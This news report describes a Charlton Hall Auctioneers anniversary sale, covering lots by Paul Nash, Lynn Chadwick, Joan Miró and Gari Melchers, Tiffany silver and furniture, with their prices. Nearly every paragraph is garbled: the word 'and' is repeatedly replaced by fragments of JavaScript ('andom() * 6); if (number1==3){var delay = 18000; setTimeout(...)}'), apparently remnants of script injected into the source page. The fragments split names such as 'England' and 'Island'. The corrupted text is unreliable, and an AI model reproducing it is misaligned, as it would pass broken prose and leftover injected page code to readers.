By: W.A. Demers

WEST COLUMBIA, S.C. — Charlton Hall Auctioneers celebrated its 85th anniversary with a March 21–22 auction that offered several surprises, with some lots handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andily exceeding expectations.

Founded in 1929, the firm has grown its clientele from a regional to international audience. “Modern art is doing well,” said the firm’s president Ronald Long, following the sale. One of the biggest surprises came when a painting by English surrealist artist Paul Nash (1889–1946) crossed the block. Nash was a pioneer of Modernism in Britain, promoting the avant-garde European styles of abstraction andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and surrealism in the 1920s andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 1930s. Estimated just $7/9,000, the watercolor titled “Stone Sea,” 1937, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and depicting undulating swells of rock walls, rose to $61,500, securing its place as the top lot of the 811-lot sale. Long said there was a lot of presale interest from Englandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and in the work, which was framed andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and signed lower left, 14¾ by 22¼ inches. The painting came from the estate of Beth Fried Goldman of Johns Creek, Ga., andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and had a Redfern Gallery, London label verso.

Another Modern piece to do well in the sale was a bronze sculpture by Lynn Chadwick (British, 1914–2003). “Inquisitor II,” 1964, 15½ by 11½ by 7 inches, bested its $12/20,000 presale estimate to bring $33,210. It, too, came from the Beth Fried Goldman estate.

The anniversary sale also included the estate of Starkey Flythe Jr, a noted poet andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and literary figure, of Augusta, Ga. A key lot from this estate was a Spanish or Colonial School (Eighteenth Century) portrait of a lady in her 30s, 1785, oil on canvas, framed, inscribed andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and dated upper right. The 33½-by-23½-inch painting was estimated $1/2,000 but took $19,200 when the gavel fell.

From a Georgia private collection, another portrait, this of British nobleman Sir J. Fleming — identified upper right, went out at $10,800, more than triple its high presale estimate.

The sale’s range of fine art included noteworthy pieces of contemporary andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Southern art. “Belmont” by American painter Gari Melchers descended directly from the family that sold the home to Melchers andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and his wife in 1916. It sold for $33,600.

A painting by Marc Chagall was passed, as was “Egrets andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Cypress” by Alice Ravenel Huger Smith, but a work by Joan Miro (Spanish, 1893–1983), “La Marchandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ande de Couleurs,” 1981, realized $49,200, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a pastel on panel by regional artist Elizabeth O’Neill Verner (1833–1979), “View from Sullivan’s Islandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, Charleston,” 20 by 24 inches, was $14,400.

In addition to fine art, the sale featured several intricate silver pieces, including a Tiffany & Co. sterling water pitcher, circa 1873–91, adorned with a scrolling acanthus repousse ground with peering satyr figures andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and cartouches. From a Jacksonville, Fla., private collection, the water pitcher was bid to $13,200.

Several lots of rare sterling Medallion pattern hollowware andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and flatware were offered, most selling above estimate, according to Long.

Among decorative arts, a pair of Waterford blue andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and clear glass jeweled oval mirrors, Nineteenth Century, doubled its high estimate, fetching $14,400.

He noted that he was pleasantly surprised to see “a slight uptick” in prices realized for “brown” furniture. A Venetian rococo parcel-gilt andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and scarlet-japanned bureau bookcase, also from the Jacksonville, Fla., estate, hit the top of its estimate at $36,000.

Overall, Long stated that he was pleased with the sale andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and that the Friday-Saturday configuration worked well. “It was packed on Friday, with probably 125-130 people in the gallery at any one time. Saturday there were fewer attendees, but those who were there were very active. It was also probably the most we’ve ever sold via the Internet,” he added.

Prices reported include the buyer’s premium. The firm’s next sale, Great Estates, is set for June 13 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 14. For information, www.charltonhallauctions.com or 803-779-5678.